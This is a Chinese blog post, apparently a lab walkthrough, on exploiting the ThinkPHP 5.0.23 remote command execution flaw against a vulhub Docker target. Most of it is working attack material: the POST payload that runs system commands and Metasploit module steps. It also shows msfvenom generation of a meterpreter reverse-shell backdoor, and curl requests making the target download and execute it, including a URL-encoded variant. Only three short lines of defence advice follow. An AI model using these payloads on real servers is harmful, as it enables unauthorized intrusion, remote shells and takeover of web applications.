Thinkphp5.0.23远程命令执行

导论:

thinkphp远程命令执行漏洞

php的一个开发框架,5,0.23及以前的版本中,获取method的方法中没有正确处理方法

名,导致攻击者可以调用request类任意方法,构造payload,导致远程命令执行

PHP框架【对象、类、函数、数组】

一、启动漏洞环境

192.168.31.30为kali攻击机;192.168.31.221为靶机

cd /root/vulhub/thinkphp/5.0.23-rce

docker-compose up -d

1、访问 http://你的IP:8080

2、查看README.zh-cn.md 复现教程

(1)访问http://IP:8080/index.php?s=captcha 抓包发送到重放器

(2)重放器构造payload实现命令执行

修改三处:

GET请求改为POST

指定类型 Content-Type:application/x-www-form-urlencoded

添加 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

【server[REQUEST_METHOD]表示要访问页面请求的方法】

命令执行成功:uid=33(www-data) gid=33(www-data) groups=33(www-data)

二、MSF模块直接利用

msfdb run 启动msf

1、search thinkphp 查找thinkphp相关漏洞利用模块

2、info 0 查看漏洞利用模块相关信息【查看是否适用于5.0.23】

3、use 0 使用模块

show options 查看需要设置哪些参数

设置检测靶机的ip【RHOST】和本机ip【LHOST】并run

4、run后直接获取shell

MSF实现直接获取权限原理

1、开启4444端口监听

2、检查有没有thinkphp漏洞

3、生成恶意程序

4、开放8080端口,可以让目标机从8088端口下载恶意程序

5、通过漏洞直接执行远程命令:curl -so /tmp/nqlDfdCA http://192.168.31.30:8080/XMFaGEJm9;chmod +x /tmp/nqlDfdCA;/tmp/nqlDfdCA;rm -f /tmp/nqlDfdCA

6、接收反弹she11

三、手动实现漏洞利用

1、生成后门:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.30 LPORT=5555 -f elf -o /var/www/html/door_5555

2、开启监听use exploit/multi/handler

3、在命令行发送请求:

curl http://192.168.31.221:8080/index.php?s=captcha -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl -so /tmp/door_5555 http://192.168.31.30/door_5555;chmod +x /tmp/door_5555;/tmp/door_5555;rm -f /tmp/door_5555"

将命令进行编码:

curl http://192.168.31.221:8080/index.php?s=captcha -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=%63%75%72%6c%20%2d%73%6f%20%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%33%31%2e%33%30%2f%64%6f%6f%72%5f%35%35%35%35%3b%63%68%6d%6f%64%20%2b%78%20%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35%3b%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35%3b%72%6d%20%2d%66%20%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35"

4、监听成功,拿到权限:

四、防御方法

1、升级thinphps组件
2、打补丁
3、对method和_method进行过滤
  • 50
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值